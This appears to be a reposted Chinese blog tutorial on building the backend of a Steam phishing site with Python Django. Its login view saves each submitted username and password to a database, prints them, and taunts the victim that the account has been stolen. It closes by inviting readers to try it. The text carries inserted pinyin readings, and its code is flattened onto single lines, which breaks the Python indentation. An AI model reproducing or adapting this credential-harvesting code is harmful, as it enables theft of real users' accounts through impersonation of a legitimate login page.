用Python Django搭建简单一个steam钓鱼网站
嗨嗨,我是小圓
有沒有人遇到過自己的號(hào)被盜了的情況
我就遇到過,朋友給我分享一個(gè)鏈接稀里糊涂的點(diǎn)進(jìn)去了,在輸入密碼的時(shí)候一直顯示錯(cuò)誤,沒多久自己的號(hào)就被盜了。
這些網(wǎng)站之所以能騙得過別人,就是因?yàn)樽龅幕竞驼娴墓俜骄W(wǎng)站,沒什么差別,可以說是一模一樣。
今天就來教大家搭建一個(gè)這樣的網(wǎng)站后端,簡單還原一下被盜號(hào)的過程
環(huán)境搭建
安裝Django模塊
pip install django[==版本]如:pip install django==3.0
安裝django的指定版本
創(chuàng)建Django項(xiàng)目
在命令指示符里數(shù)據(jù)命令
django-admin startproject steam_web
manage.py是命令文件,如果要運(yùn)行Django內(nèi)置的命令,必須要通過這個(gè)文件才行
創(chuàng)建子應(yīng)用
把網(wǎng)站的各個(gè)模塊拆分成子應(yīng)用
會(huì)生成一個(gè)login文件,打開文件
介紹下我們會(huì)用到的文件
models.py文件:數(shù)據(jù)模型
views.py文件:用來控制頁面邏輯
查看項(xiàng)目是否環(huán)境配置成功
可以用pycharm直接打開文件,然后點(diǎn)擊運(yùn)行
運(yùn)行后會(huì)給出一段域名,點(diǎn)擊打開
如果出現(xiàn)下面的頁面,就說明該項(xiàng)目環(huán)境配置成功了
開始實(shí)現(xiàn)功能
點(diǎn)擊進(jìn)入settings.py文件,進(jìn)行定制化修改
Application definition 網(wǎng)站子應(yīng)用進(jìn)行注冊,在最后一行寫入login
創(chuàng)建一個(gè)templates文件,并修改代碼
# templates 文件夾的配置項(xiàng) TEMPLATES = [{'BACKEND': 'django.template.backends.django.DjangoTemplates','DIRS': [os.path.join(BASE_DIR, 'templates')],'APP_DIRS': True,'OPTIONS': {'context_processors': ['django.template.context_processors.debug','django.template.context_processors.request','django.contrib.auth.context_processors.auth','django.contrib.messages.context_processors.messages',],},}, ]配置網(wǎng)站默認(rèn)語言、時(shí)間
# 網(wǎng)站默認(rèn)語言 英文 修改成中文 LANGUAGE_CODE = 'zh-hans' # 當(dāng)前時(shí)間 TIME_ZONE = 'Asia/Shanghai'USE_I18N = TrueUSE_L10N = TrueUSE_TZ = False最后在刷新網(wǎng)站頁面,就變成了中文
靜態(tài)頁面當(dāng)中的文件夾配置,并在總目錄中創(chuàng)建一個(gè)static文件夾
導(dǎo)入所需文件
開始編寫數(shù)據(jù)模型
打開**models.py文件,需要去創(chuàng)建一個(gè)模型類
from django.db import models# Create your models here.class User(models.Model):name = models.CharField(max_length=20)pwd = models.CharField(max_length=20)編寫視圖
打開views.py文件,編寫視圖,是控制網(wǎng)站與用戶的交互邏輯
# 渲染html文件到瀏覽器的 from django.shortcuts import render from django.views.generic import View from .models import User from django.http import HttpResponse # Create your views here.# 在瀏覽器中顯示網(wǎng)站首頁 def index(request):return render(request, 'index.html')# 登錄類視圖 class Login(View):def get(self, request):return render(request, 'denlu.html', locals())'''當(dāng)用戶在頁面中輸入了一些數(shù)據(jù)可以使用post去做接收'''def post(self, request):name = request.POST.get('username')pwd = request.POST.get('password')User.objects.create(name=name, pwd=pwd).save()print(name)print(pwd)return HttpResponse('你的賬號(hào)已經(jīng)被盜, 溜了 溜了~')在urls.py文件里編寫路由
from django.contrib import admin from django.urls import path from login.views import index, Loginurlpatterns = [path('admin/', admin.site.urls),path('', index, name='index'),path('login/', Login.as_view(), name='login') ]同步數(shù)據(jù)庫
因?yàn)橹皇莻€(gè)教學(xué),所以用是自帶的:sqlite3,文件型小型數(shù)據(jù)庫
點(diǎn)擊打開后,在這里輸入makemigrations,這是將數(shù)據(jù)模型中的字段編譯成一個(gè)Python的腳本,包含了sql語言
確定后會(huì)給你生成一個(gè)0001_initial.py文件
然后在執(zhí)行腳本,輸入 migrate 將數(shù)據(jù)模型映射到數(shù)據(jù)庫中
運(yùn)行文件,效果如下圖
選擇點(diǎn)擊登錄,輸入賬號(hào)密碼,點(diǎn)擊確定
然后你的賬號(hào)密碼會(huì)被打印出來
好了,分享到這里也就結(jié)束了,感興趣的朋友去試試吧,記得給我點(diǎn)贊哦
總結(jié)
以上是生活随笔為你收集整理的用Python Django搭建简单一个steam钓鱼网站的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 一款开源的文件搜索神器,终于不用记 fi
- 下一篇: ADSL拨号中出现的错误代码含义